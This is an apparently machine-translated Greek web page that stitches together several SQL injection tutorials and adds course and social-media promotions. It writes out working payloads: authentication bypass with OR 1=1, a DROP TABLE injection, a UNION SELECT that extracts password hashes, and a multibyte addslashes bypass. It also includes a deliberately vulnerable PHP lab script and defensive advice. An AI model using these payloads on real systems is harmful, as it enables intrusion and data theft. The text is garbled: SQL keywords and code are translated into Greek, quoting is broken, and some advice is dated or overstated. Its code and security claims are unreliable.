Παραδείγματα Sql injection. Είναι σημαντικό να θυμάστε τους κανόνες κατά των ενέσεων SQL. Πώς μπορείτε να εκτελέσετε εντολές από απόσταση χρησιμοποιώντας την ένεση SQL

Σας ευχόμαστε καλή επιτυχία στην ολοκλήρωσή του. Τα αποτελέσματα του περάσματός σας θα δημοσιευτούν αργότερα (ακολουθήστε τις ειδήσεις στα κοινωνικά δίκτυα) και σε όλους όσους έχουν περάσει θα σταλεί επίσης ένα καλώνα εγγραφείτε στον ιστότοπο.

Κάντε like, κοινή χρήση με φίλους και συναδέλφους, αναδημοσίευση στα κοινωνικά δίκτυα.

Όλοι οι προγραμματιστές έχουν διαβάσει ή τουλάχιστονέχουν ακούσει για μεθόδους χακάροντας την ασφάλεια ιστοτόπων. Ή ακόμη και αντιμετώπισε αυτό το πρόβλημα. Από την άλλη πλευρά, η φαντασία όσων θέλουν να σπάσουν τον ιστότοπο είναι ατελείωτη, επομένως όλα τα σημεία συμφόρησης πρέπει να προστατεύονται καλά. Γι' αυτό θα ήθελα να ξεκινήσω μια σειρά σύντομων άρθρων που θα εισάγουν βασικές μεθόδους και τεχνικές παραβίασης ιστοτόπων.

Στο πρώτο άρθρο θα ήθελα να περιγράψω και να εξηγήσω μερικά γενικές μεθόδουςχακάροντας ένα από τα πιο ευάλωτα μέρη του ιστότοπου - φόρμες. Θα αναφερθώ σε λεπτομέρειες σχετικά με το πώς να χρησιμοποιήσετε αυτές τις τεχνικές και πώς να αποτρέψετε επιθέσεις, καθώς και να καλύψω τις δοκιμές ασφαλείας.

SQL injection

Η ένεση SQl είναι μια τεχνική όπου εισέρχεται ένας εισβολέας Εντολές SQLστο πεδίο εισαγωγής στην ιστοσελίδα. Αυτή η εισαγωγή μπορεί να είναι οτιδήποτε - ένα πεδίο κειμένου σε μια φόρμα, παραμέτρους _GET και _POST, cookies, κ.λπ. Αυτή η μέθοδος ήταν πολύ αποτελεσματική πριν από την εμφάνιση των πλαισίων στον κόσμο της PHP. Αλλά αυτό το hack μπορεί να εξακολουθεί να είναι επικίνδυνο εάν δεν χρησιμοποιείτε ένα ORM ή άλλες επεκτάσεις στο αντικείμενο δεδομένων. Γιατί; Λόγω του τρόπου με τον οποίο μεταβιβάζονται οι παράμετροι στο ερώτημα SQL.

«Τυφλές» ενέσεις

Ας ξεκινήσουμε με ένα κλασικό παράδειγμα μιας δήλωσης SQL που επιστρέφει τον χρήστη με βάση τη σύνδεσή του και τον κατακερματισμό του κωδικού πρόσβασης (σελίδα σύνδεσης)

Παράδειγμα 1

mysql_query("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Έβαλα ερωτηματικά στην έκφραση λόγω των διαφορετικών παραλλαγών αυτής της λύσης. Η πρώτη επιλογή, κατά τη γνώμη μου, είναι η πιο ευάλωτη:

Παράδειγμα 1α

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

Σε αυτήν την περίπτωση, ο κωδικός δεν ελέγχει για μη έγκυρη εισαγωγή δεδομένων. Οι τιμές μεταβιβάζονται απευθείας από τη φόρμα εισαγωγής στο ερώτημα SQL. Στο πολύ το καλύτερο σενάριοΟ χρήστης θα εισάγει εδώ το όνομα χρήστη και τον κωδικό πρόσβασής του. Ποιο είναι το χειρότερο σενάριο; Ας προσπαθήσουμε να χακάρουμε αυτήν τη φόρμα. Αυτό μπορεί να γίνει διαβιβάζοντας «έτοιμα» δεδομένα. Ας προσπαθήσουμε να συνδεθείτε ως ο πρώτος χρήστης από τη βάση δεδομένων, και στις περισσότερες περιπτώσεις αυτός είναι ο λογαριασμός διαχειριστή. Για να γίνει αυτό, θα περάσουμε μια ειδική συμβολοσειρά αντί να εισαγάγουμε τη σύνδεση:

" Ή 1=1; --

Το πρώτο απόσπασμα μπορεί επίσης να είναι ένα μεμονωμένο απόσπασμα, επομένως μια απόπειρα hacking μπορεί να μην είναι αρκετή. Στο τέλος υπάρχει ένα ερωτηματικό και δύο παύλες ώστε ό,τι ακολουθεί να μετατρέπεται σε σχόλιο. Ως αποτέλεσμα, θα εκτελεστεί το ακόλουθο ερώτημα SQL:

SELECT id, login FROM users WHERE login = “;” Ή 1=1 ΟΡΙΟ 0,1; - και κωδικός πρόσβασης = κατακερματισμός (";Κάποιος κωδικός πρόσβασης")

Θα επιστρέψει τον πρώτο χρήστη από τη βάση δεδομένων και πιθανώς θα συνδεθεί στην εφαρμογή ως αυτός ο χρήστης. Μια καλή κίνηση θα ήταν να προσθέσετε ένα LIMIT για να συνδεθείτε ως μεμονωμένος χρήστης. Αυτό είναι το μόνο πράγμα που χρειάζεται για να περάσετε από κάθε τιμή.

Πιο σοβαροί τρόποι

Στο προηγούμενο παράδειγμα, όλα δεν είναι τόσο τρομακτικά. Οι επιλογές στον πίνακα ελέγχου διαχειριστή είναι πάντα περιορισμένες και θα χρειαζόταν πολλή δουλειά για να σπάσει πραγματικά ο ιστότοπος. Όμως η επίθεση τελείωσε SQL injectionμπορεί να οδηγήσει σε πολύ μεγαλύτερη ζημιά στο σύστημα. Σκεφτείτε πόσες εφαρμογές δημιουργούνται με τον κύριο πίνακα "χρήστες" και τι θα συνέβαινε εάν ένας εισβολέας εισαγάγει κώδικα όπως αυτός σε μια μη προστατευμένη φόρμα:

Η αγαπημένη μου σύνδεση"; DROP TABLE χρήστες; --

Ο πίνακας "χρήστες" θα διαγραφεί. Αυτός είναι ένας από τους λόγους για να κάνετε πιο συχνά αντίγραφα ασφαλείας της βάσης δεδομένων.

_GET παραμέτρους

Όλες οι παράμετροι που συμπληρώνονται μέσω της φόρμας μεταδίδονται στον διακομιστή χρησιμοποιώντας μία από τις δύο μεθόδους - GET ή POST. Η πιο κοινή παράμετρος που μεταβιβάζεται μέσω του GET είναι το id. Αυτό είναι ένα από τα πιο ευάλωτα μέρη για επιθέσεις και δεν έχει σημασία τον τύπο URL που χρησιμοποιείτε - ` http://example.com/ χρήστες/?id=1", ή " http://example.com/ χρήστες/1`, ή ` http://....../.../ Θέση/35 `.

Τι θα συμβεί αν εισαγάγουμε τον ακόλουθο κώδικα στη διεύθυνση URL;

Http://example.com/users/?id=1 ΚΑΙ 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Πιθανώς, ένα τέτοιο αίτημα θα επιστρέψει το login του χρήστη και... έναν κατακερματισμό του κωδικού πρόσβασής του. Το πρώτο μέρος του αιτήματος «AND 1=0» μετατρέπει ό,τι προηγείται σε ψευδές, επομένως δεν θα ληφθούν εγγραφές. Και το δεύτερο μέρος του αιτήματος θα επιστρέψει δεδομένα με τη μορφή προετοιμασμένων δεδομένων. Και δεδομένου ότι η πρώτη παράμετρος είναι id, η επόμενη θα είναι η σύνδεση του χρήστη και ο κατακερματισμός του κωδικού πρόσβασής του και ορισμένες άλλες παράμετροι. Υπάρχουν πολλά προγράμματα που χρησιμοποιούν ωμή βία για να αποκωδικοποιήσουν έναν κωδικό πρόσβασης όπως αυτός στο παράδειγμα. Και δεδομένου ότι ο χρήστης μπορεί να χρησιμοποιήσει τον ίδιο κωδικό πρόσβασης για διαφορετικές υπηρεσίες, είναι δυνατό να αποκτήσει πρόσβαση σε αυτές.

Και αυτό είναι το περίεργο: είναι εντελώς αδύνατο να αμυνθεί κανείς από αυτόν τον τύπο επίθεσης χρησιμοποιώντας μεθόδους όπως «mysql_real_escape_string», «addslashes» κ.λπ. d Βασικά, δεν υπάρχει τρόπος να αποφευχθεί μια τέτοια επίθεση, οπότε αν οι παράμετροι περάσουν ως εξής:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

τα προβλήματα δεν θα φύγουν.

Διαφυγή χαρακτήρων σε μια συμβολοσειρά

Όταν ήμουν νέος στον προγραμματισμό, δυσκολευόμουν να δουλέψω με κωδικοποιήσεις. Δεν κατάλαβα ποια ήταν η διαφορά μεταξύ τους, γιατί να χρησιμοποιήσετε το UTF-8 όταν χρειάζεστε UTF-16, γιατί η βάση δεδομένων ορίζει πάντα την κωδικοποίηση σε latin1. Όταν τελικά άρχισα να καταλαβαίνω όλα αυτά, ανακάλυψα ότι θα υπήρχαν λιγότερα προβλήματα αν διατηρούσα τα πάντα σε ένα πρότυπο κωδικοποίησης. Κατά την ταξινόμηση όλων αυτών, παρατήρησα επίσης ζητήματα ασφαλείας που προκύπτουν κατά τη μετατροπή από μια κωδικοποίηση σε άλλη.

Τα προβλήματα που περιγράφονται στα περισσότερα από τα προηγούμενα παραδείγματα μπορούν να αποφευχθούν χρησιμοποιώντας μεμονωμένα εισαγωγικά σε ερωτήματα. Εάν χρησιμοποιείτε addslashes(), οι επιθέσεις SQL injection που βασίζονται σε μεμονωμένα εισαγωγικά που διαφεύγουν με ανάστροφη κάθετο θα αποτύχουν. Αλλά μια τέτοια επίθεση μπορεί να λειτουργήσει εάν απλώς αντικαταστήσετε έναν χαρακτήρα με κωδικό 0xbf27, η addslashes() τον μετατρέψει σε χαρακτήρα με κωδικό 0xbf5c27 - και αυτός είναι ένας απολύτως έγκυρος χαρακτήρας ενιαίο απόσπασμα. Με άλλα λόγια, το `뼧` θα περάσει από addslashes() και στη συνέχεια η αντιστοίχιση MySQL θα το μετατρέψει σε δύο χαρακτήρες 0xbf (¿) και 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Αυτό το παράδειγμα μπορεί να παραβιαστεί περνώντας το 뼧 ή το 1=1. -- στο πεδίο σύνδεσης στη φόρμα. Η μηχανή SQL θα δημιουργήσει το τελικό ερώτημα ως εξής:

ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login = "¿" Ή 1=1; --

Και θα επιστρέψει τον πρώτο χρήστη από τη βάση δεδομένων.

ΠΡΟΣΤΑΣΙΑ

Πώς να προστατέψετε την εφαρμογή; Υπάρχουν πολλές μέθοδοι, η χρήση των οποίων δεν θα κάνει την εφαρμογή εντελώς άτρωτη, αλλά τουλάχιστον θα αυξήσει την ασφάλειά της.

Χρησιμοποιώντας mysql_real_escape_string

Η συνάρτηση addslashes() είναι αναξιόπιστη γιατί δεν επιτρέπει πολλές περιπτώσεις hacking. Το mysql_real_escape_string δεν έχει τέτοια προβλήματα

Χρησιμοποιώντας MySQLi

Αυτή η επέκταση MySQL μπορεί να λειτουργήσει με σχετικές παραμέτρους:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Χρήση ΠΟΠ

Μακρύς δρόμος για την αντικατάσταση των παραμέτρων:

$dbh = νέο ΠΟΠ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO registry (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // εισαγάγετε μια σειρά $name = "one"; $value = 1; $stmt->execute();

Σύντομος τρόπος:

$dbh = νέο ΠΟΠ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Χρήση ORM

Χρησιμοποιήστε τις παραμέτρους ORM και PDO και bind (use bind). Αποφύγετε την SQL στον κώδικά σας, αν δείτε SQL στον κώδικά σας τότε κάτι δεν πάει καλά με αυτό.

Η ORM θα φροντίσει περισσότερο για την ασφάλεια συμφόρησηστον κώδικα και σχετικά με την επικύρωση παραμέτρων.

συμπεράσματα

Ο σκοπός αυτής της σειράς δεν είναι να παρέχει πλήρης οδηγόςνα χακάρει ιστοσελίδες, αλλά να διασφαλίζει την ασφάλεια της εφαρμογής και να αποτρέπει επιθέσεις από οποιαδήποτε πηγή. Προσπάθησα να γράψω αυτό το άρθρο όχι μόνο για προγραμματιστές - θα πρέπει να γνωρίζουν τυχόν απειλές στον κώδικα και να ξέρουν πώς να τις αποτρέψουν, αλλά και για ποιοτικούς μηχανικούς - επειδή η δουλειά τους είναι να παρακολουθούν και να αναφέρουν τέτοια ζητήματα .

SQL injection- αυτό είναι ένα από τα πιο διαθέσιμους τρόπους hacking ιστότοπου.
Η ουσία τέτοιων εγχύσεων είναι η εισαγωγή αυθαίρετου κώδικα SQL στα δεδομένα (που μεταδίδονται μέσω GET, αιτημάτων POST ή τιμών Cookie). Εάν ο ιστότοπος είναι ευάλωτος και εκτελεί τέτοιες εγχύσεις, τότε στην ουσία είναι δυνατό να κάνετε οτιδήποτε με τη βάση δεδομένων (τις περισσότερες φορές είναι η MySQL).

Πώς να εντοπίσετε ευπάθειες SQL injection;

Πολύ εύκολο. Για παράδειγμα, υπάρχει μια δοκιμαστική τοποθεσία test.ru. Ο ιστότοπος εμφανίζει λίστα ειδήσεων, με δυνατότητα αναλυτικής προβολής. Η διεύθυνση της σελίδας με λεπτομερή περιγραφή των ειδήσεων μοιάζει με αυτό: test.ru/?detail=1. Δηλαδή μέσω Αίτημα GETη μεταβλητή λεπτομερειών περνά την τιμή 1 (που είναι το αναγνωριστικό της καταχώρισης στον πίνακα ειδήσεων).

Αλλάξτε το αίτημα GET σε?detail=1" ή?detail=1" . Στη συνέχεια, προσπαθούμε να μεταφέρουμε αυτά τα αιτήματα στον διακομιστή, δηλαδή, πηγαίνουμε στο test.ru/?detail=1 "ή στο test.ru/?detail=1".

Εάν εμφανιστεί κάποιο σφάλμα κατά την πρόσβαση σε αυτές τις σελίδες, τότε ο ιστότοπος είναι ευάλωτος σε ένεση SQL.

Ένα παράδειγμα σφάλματος που παρουσιάζεται κατά τον έλεγχο μιας ευπάθειας

Πιθανές ενέσεις SQL (ενέσεις SQL)
1) Τα πιο απλά συμπτύσσουν τη συνθήκη WHERE σε ένα πραγματικό αποτέλεσμα για οποιεσδήποτε τιμές παραμέτρων.
2) Σύνδεση ενός ερωτήματος με τα αποτελέσματα ενός άλλου ερωτήματος. Αυτό γίνεται μέσω του χειριστή UNION.
3) Σχολιασμός μέρους του αιτήματος.

Πρακτική. Επιλογές για παραβίαση ιστότοπου με ευπάθεια SQL injection

Έτσι, έχουμε τον ήδη αναφερόμενο ιστότοπο test.ru. Η βάση δεδομένων αποθηκεύει 4 ειδήσεις, 3 από τα οποία εμφανίζονται. Η άδεια δημοσίευσης ειδήσεων εξαρτάται από τη δημόσια παράμετρο (αν η παράμετρος περιέχει την τιμή 1, τότε η είδηση ​​δημοσιεύεται).

Κατάλογος ειδήσεων που επιτρέπεται να δημοσιεύονται

Κατά την πρόσβαση στη σελίδα test.ru/?detail=4, η οποία θα πρέπει να εμφανίζει την τέταρτη είδηση, εμφανίζεται ένα σφάλμα - η είδηση ​​δεν βρέθηκε.
Στην περίπτωσή μας η είδηση ​​υπάρχει, αλλά απαγορεύεται η δημοσίευσή της.

Αλλά επειδή έχουμε ήδη ελέγξει τον ιστότοπο για τρωτά σημεία και έδωσε ένα σφάλμα βάσης δεδομένων, προσπαθούμε να κάνουμε ταξινόμηση πιθανές επιλογέςαιτήσεων.
ΣΕ γραμμή διεύθυνσηςΤο συν (+) λειτουργεί ως χώρος, οπότε μην ανησυχείτε

Δοκιμάζω τις παρακάτω επιλογές:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

Ως αποτέλεσμα, η τύχη χαμογέλασε και δύο αιτήματα (το πρώτο και το τρίτο) επιστράφηκαν σε εμάς Λεπτομερής περιγραφήτέταρτη είδηση

Ανάλυση του παραδείγματος από μέσα

Το μπλοκ κώδικα είναι υπεύθυνο για τη λήψη λεπτομερούς περιγραφής των ειδήσεων:
$detail_id=$_GET["λεπτομέρεια"];
$zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

Όχι μόνο το $detail_id λαμβάνει μια τιμή χωρίς καμία επεξεργασία, αλλά και η κατασκευή `id`=$detail_id είναι γραμμένη στραβά, είναι καλύτερα να παραμείνετε στο `id`="$detail_id" (δηλαδή να γράψετε τη συγκριτική τιμή σε άμεσες απόστροφες) .

Εξετάζοντας το αίτημα που ελήφθη κατά την πρόσβαση στη σελίδα μέσω test.ru/?detail=4+OR+1

ΕΠΙΛΕΞΤΕ * ΑΠΟ ΕΙΔΗΣΕΙΣ ΠΟΥ `public`="1" ΚΑΙ `id`=4 Ή 1 ORDER BY `position` DESC

Δεν είναι απολύτως σαφές γιατί εμφανίστηκε η 4η είδηση. Το γεγονός είναι ότι το ερώτημα επέστρεψε όλες τις εγγραφές από τον πίνακα ειδήσεων, ταξινομημένες με φθίνουσα σειρά από την κορυφή. Και έτσι η 4η είδηση ​​μας αποδείχθηκε η πρώτη και εμφανίστηκε επίσης ως αναλυτική. Αυτό είναι απλώς μια σύμπτωση.

Ας αναλύσουμε το αίτημα που δημιουργήθηκε κατά την επικοινωνία μέσω test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Εδώ το όνομα του πίνακα με ειδήσεις (στην περίπτωσή μας είναι είδηση) ελήφθη με λογική αναζήτηση.
Άρα έγινε ΕΠΙΛΟΓΗ ερωτήματος* FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . Το μηδενικό αποτέλεσμα του πρώτου μέρους του ερωτήματος (πριν από την ΕΝΩΣΗ) ενώθηκε με το αποτέλεσμα του δεύτερου μέρους (μετά την ΕΝΩΣΗ), το οποίο επέστρεψε λεπτομερή περιγραφή της 4ης είδησης.

Προστασία από ενέσεις SQL (ενέσεις SQL)

Η προστασία από το hacking καταλήγει σε βασικός κανόνας«εμπιστεύσου αλλά έλεγξε». Πρέπει να ελέγξετε τα πάντα - αριθμούς, συμβολοσειρές, ημερομηνίες, δεδομένα σε ειδικές μορφές.
Αριθμοί
Για να ελέγξετε μια μεταβλητή για μια αριθμητική τιμή, χρησιμοποιήστε τη συνάρτηση is_numeric(n), η οποία θα επιστρέψει true αν η παράμετρος n είναι αριθμός, και false διαφορετικά.
Μπορείτε επίσης να μην ελέγξετε την τιμή για έναν αριθμό, αλλά να επαναπροσδιορίσετε με μη αυτόματο τρόπο τον τύπο. Ακολουθεί ένα παράδειγμα που αντικαθιστά την τιμή $id που ελήφθη από το $_GET["id_news"] στην τιμή ακέραιος τύπος(σε ακέραιο):
$id=(int)$_GET["id_news"];
Χορδές
Οι περισσότερες εισβολές SQL συμβαίνουν λόγω της παρουσίας «μη ουδετεροποιημένων» εισαγωγικών, αποστρόφων και άλλων ειδικών χαρακτήρων σε συμβολοσειρές. Για να το κάνετε αυτό, πρέπει να χρησιμοποιήσετε τη συνάρτηση addslashes($str), η οποία επιστρέφει τη συμβολοσειρά $str με μια ανάστροφη κάθετο (\) που προστίθεται πριν από κάθε ειδικό χαρακτήρα. Αυτή η διαδικασίαπου ονομάζεται προσαρμογή ταινιών.

$a="παράδειγμα κειμένου με απόστροφο " ";
echo addslashes($a); //θα εμφανιστεί: παράδειγμα κειμένου με απόστροφο \"

Επιπλέον, υπάρχουν δύο συναρτήσεις που έχουν δημιουργηθεί ειδικά για τη διαφυγή συμβολοσειρών που χρησιμοποιούνται σε εκφράσεις SQL.
Αυτό είναι το mysql_escape_string($str); και mysql_real_escape_string($str);.

Το πρώτο δεν λαμβάνει υπόψη την κωδικοποίηση της σύνδεσης με τη βάση δεδομένων και μπορεί να παρακαμφθεί, αλλά το δεύτερο το λαμβάνει υπόψη και είναι απολύτως ασφαλές. mysql_real_escape_string($str); επιστρέφει τη συμβολοσειρά $str με μια ανάστροφη κάθετο προσαρτημένη στους ακόλουθους χαρακτήρες: \x00, \n, \r, \, ", " και \x1a .

Μαγικά αποσπάσματα

Μαγικά εισαγωγικά - το αποτέλεσμα της αυτόματης αντικατάστασης ενός εισαγωγικού με μια ανάστροφη κάθετο (\) και ένα εισαγωγικό κατά τη διάρκεια λειτουργιών I/O. Ορισμένες διαμορφώσεις PHP έχουν ενεργοποιημένη αυτήν την επιλογή και ορισμένες όχι. Προκειμένου να αποφευχθεί η διπλή διαφυγή χαρακτήρων και η κανονική διαφυγή δεδομένων μέσω mysql_real_escape_string($str);, είναι απαραίτητο να αφαιρέσετε τις αυτόματα προστιθέμενες ανάστροφες κάθετες (εάν είναι ενεργοποιημένα τα μαγικά εισαγωγικά).

Ο έλεγχος της συμπερίληψης μαγικών εισαγωγικών για δεδομένα που λαμβάνονται από το GET, το POST ή τα Cookies οργανώνεται μέσω της συνάρτησης get_magic_quotes_gpc(). (επιστρέφει 1 εάν τα μαγικά εισαγωγικά είναι ενεργοποιημένα, 0 εάν είναι απενεργοποιημένα).

Εάν περιλαμβάνονται μαγικά εισαγωγικά (δηλαδή προστίθενται ανάστροφες κάθετες) και αυτό συμβαίνει πιο συχνά, τότε πρέπει να αφαιρεθούν. Αυτό γίνεται μέσω της συνάρτησης stripslashes($str); (επιστρέφει τη συμβολοσειρά $str χωρίς ανάστροφες κάθετες σε εισαγωγικά και εμπρός απόστροφα).

Εν κατακλείδι, παρέχω τον κώδικα με ένα πλήρες στιγμιότυπο οθόνης των συμβολοσειρών για εγγραφή στη βάση δεδομένων

If(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
αλλού
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Το άρθρο ετοιμάστηκε με βάση τις πρακτικές δεξιότητες στην προστασία των διαδικτυακών συστημάτων. Η θεωρία είναι καλή, αλλά η πράξη είναι πιο σημαντική και το κυριότερο είναι ότι λειτουργεί.

Σας παρουσιάζουμε μια νέα πορεία από την ομάδα Το Codeby- "Δοκιμή διείσδυσης εφαρμογών Ιστού από την αρχή." Γενική θεωρία, προετοιμασία του εργασιακού περιβάλλοντος, παθητικό fuzzing και δακτυλικό αποτύπωμα, Ενεργό fuzzing, τρωτά σημεία, post-exploitation, Εργαλεία, Κοινωνική Μηχανική και πολλά άλλα.


Η ουσία των ενέσεων SQL

Πιθανότατα έχετε ήδη ακούσει το αστείο από το Διαδίκτυο: Γιατί είναι το ίδιο σε όλα τα μαθήματα σχεδίου: Για παράδειγμα, ένα μάθημα σχεδίασης μιας κουκουβάγιας. Αρχικά, σχεδιάζουμε το μάτι της κουκουβάγιας λεπτομερώς για μισή ώρα. Και μετά - μια φορά - σε πέντε λεπτά - σχεδιάζουμε την υπόλοιπη κουκουβάγια».

Υπάρχει ακόμη και μια φωτογραφία σχετικά με αυτό:

Υπάρχει πολύ υλικό για τις ενέσεις SQL: άρθρα, βιβλία, μαθήματα βίντεο (πληρωμένα και δωρεάν). Ωστόσο, πολλοί από αυτούς δεν προσθέτουν κατανόηση σε αυτό το θέμα. Ειδικά αν είσαι αρχάριος. Θυμάμαι καλά τα συναισθήματά μου: εδώ είναι ο κύκλος, εδώ είναι η υπόλοιπη κουκουβάγια...

Ο σκοπός αυτής της σημείωσης είναι να τραβήξει το μάτι στην κουκουβάγια για να δώσει μια κανονική, απλή εξήγηση, τι είναι οι ενέσεις SQL, ποια είναι η ουσία τους, πόσο επικίνδυνα είναι και γιατί.

Για πειράματα, θα έχουμε ένα πολύ απλό σενάριο που είναι ευάλωτο στην ένεση SQL:

Για πρόσβαση στην περιφερειακή βιβλιοθήκη Bobruisk, εισαγάγετε τα διαπιστευτήριά σας:

Εισάγετε το όνομά σας

Εισάγετε τον κωδικό σας


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "όνομα"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" ΚΑΙ κωδικό πρόσβασης= $password")) ( while ($obj = $result->fetch_object()) ( echo "

Το όνομα σου:$obj->όνομα

Η κατάσταση σου:$obj->status

Βιβλία διαθέσιμα για εσάς:$obj->βιβλία


"; ) ) else ( printf("Σφάλμα: %sn", $mysqli->error); ) $mysqli->close(); ?>

Θα καταλάβεις πολύ περισσότερα αν κάνεις τα πάντα μαζί μου. Ορίστε λοιπόν. Περιέχει δύο αρχεία: index.phpΚαι db_library.sql. Τοποθετήστε το αρχείο index.php οπουδήποτε στον διακομιστή - αυτό είναι το ευάλωτο σενάριό μας. Και το αρχείο db_library.sql πρέπει να εισαχθεί, για παράδειγμα, χρησιμοποιώντας το phpMyAdmin.

Στο αρχείο index.php, το όνομα χρήστη της βάσης δεδομένων έχει οριστεί ως root και ο κωδικός πρόσβασης είναι κενός. Μπορείτε να εισαγάγετε τα δεδομένα σας επεξεργάζοντας τη γραμμή:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Σύμφωνα με το μύθο, αυτή είναι η φόρμα σύνδεσης στην ηλεκτρονική έκδοση της περιφερειακής βιβλιοθήκης Bobruisk. Μας έχουν ήδη δοθεί τα διαπιστευτήρια: όνομα χρήστη - Επίδειξη, κωδικός πρόσβασης - 111.

Ας τα εισάγουμε και ας δούμε:

Τα διαπιστευτήριά μας έγιναν δεκτά και το όνομά μας, η κατάστασή μας και τα βιβλία που έχουμε στη διάθεσή μας εμφανίζονται στις οθόνες. Μπορείτε να δοκιμάσετε, με οποιαδήποτε άλλα δεδομένα (αν αλλάξετε το όνομα ή τον κωδικό πρόσβασής σας), δεν θα μπορέσουμε να συνδεθούμε και να προβάλουμε τα βιβλία που είναι διαθέσιμα για ανάγνωση. Επίσης, δεν έχουμε τρόπο να γνωρίζουμε ποια βιβλία είναι διαθέσιμα σε άλλους, επειδή δεν γνωρίζουμε το όνομα χρήστη και τον κωδικό πρόσβασής τους.

Ας ρίξουμε μια ματιά στο πηγήγια να κατανοήσετε πώς προέκυψε το ερώτημα της βάσης δεδομένων:

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

Λέξη ΕΠΙΛΕΓΩσε ένα ερώτημα SQL δείχνει ποια δεδομένα πρέπει να ανακτηθούν. Για παράδειγμα, μπορείτε να καθορίσετε όνομα SELECT ή όνομα SELECT, κωδικό πρόσβασης. Στη συνέχεια, στην πρώτη περίπτωση θα ληφθεί μόνο το όνομα από τον πίνακα, και στη δεύτερη - μόνο το όνομα και ο κωδικός πρόσβασης. Ο αστερίσκος λέει ότι πρέπει να λάβετε όλες τις τιμές. Εκείνοι. ΕΠΙΛΟΓΗ * - αυτό σημαίνει ότι λαμβάνετε όλες τις τιμές.

ΑΠΟλέει από πού πρέπει να τα προμηθευτείτε. Το FROM ακολουθείται από το όνομα του πίνακα, δηλαδή η καταχώριση FROM «μέλη» λέει λήψη από τον πίνακα «μέλη».

Περαιτέρω ΟΠΟΥ, εάν έχετε μελετήσει οποιαδήποτε γλώσσα προγραμματισμού, τότε αυτή η λέξη μοιάζει περισσότερο με το "Αν". Και τότε υπάρχουν συνθήκες, αυτές οι συνθήκες μπορεί να είναι αληθείς (1) ή ψευδείς (0). Στην περίπτωσή μας

(όνομα = '$name') ΚΑΙ (κωδικός πρόσβασης ='$password')

σημαίνει ότι η συνθήκη θα είναι αληθής εάν η μεταβλητή $name είναι ίση με την τιμή του πεδίου ονόματος στον πίνακα και η μεταβλητή '$password' είναι ίση με την τιμή του πεδίου κωδικού πρόσβασης στον πίνακα. Εάν δεν πληρούται τουλάχιστον μία προϋπόθεση ( λάθος όνομαχρήστη ή κωδικός πρόσβασης), τότε δεν θα ληφθεί τίποτα από τον πίνακα., δηλαδή η έκφραση SELECT * FROM `members` WHERE name = '$name' AND password ='$password' σημαίνει: στον πίνακα 'members' πάρτε τις τιμές ​​όλα τα πεδία, εάν πληρούται η προϋπόθεση για αυτά - το όνομα χρήστη και ο κωδικός πρόσβασης που διαβιβάστηκαν ταιριάζουν με αυτά που βρίσκονται στον πίνακα.

Είναι σαφές. Ας εισαγάγουμε τώρα, για παράδειγμα, ένα μόνο απόσπασμα με το όνομα χρήστη:

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

Δεν ελήφθησαν δεδομένα, αντίθετα βλέπουμε ένα σφάλμα:

Σφάλμα: Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο "111" στη γραμμή 1

Όταν πληκτρολογήσαμε τα σωστά δεδομένα, το αίτημά μας έμοιαζε ως εξής:

SELECT * FROM `members` WHERE name = "Demo" AND password = "111"

Προσθέτοντας μια προσφορά, το ερώτημά μας γίνεται:

SELECT * FROM `members` WHERE name = "Demo" "AND password = "111"

Βάζω επιπλέον χώρους για σαφήνεια, δηλαδή παίρνουμε το αίτημα

Παρεμπιπτόντως, το αίτημα είναι σωστό συντακτικά. Και αμέσως μετά, χωρίς διαχωριστικά, το αίτημα συνεχίζεται:

"AND password="111"

Αυτό είναι που τα σπάει όλα, αφού ο αριθμός των εισαγωγικών ανοίγματος και κλεισίματος δεν είναι ίσος. Μπορείτε, για παράδειγμα, να εισαγάγετε ένα άλλο απόσπασμα:

SELECT * FROM `members` WHERE name = "Demo" " "AND password = "111"

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Το σφάλμα εξαφανίστηκε, αλλά αυτό δεν πρόσθεσε κανένα νόημα στο αίτημα. Η ανούσια ουρά του αιτήματος μας ενοχλεί. Πώς μπορούμε να απαλλαγούμε από αυτό;

Υπάρχει μια απάντηση - αυτά είναι σχόλια.

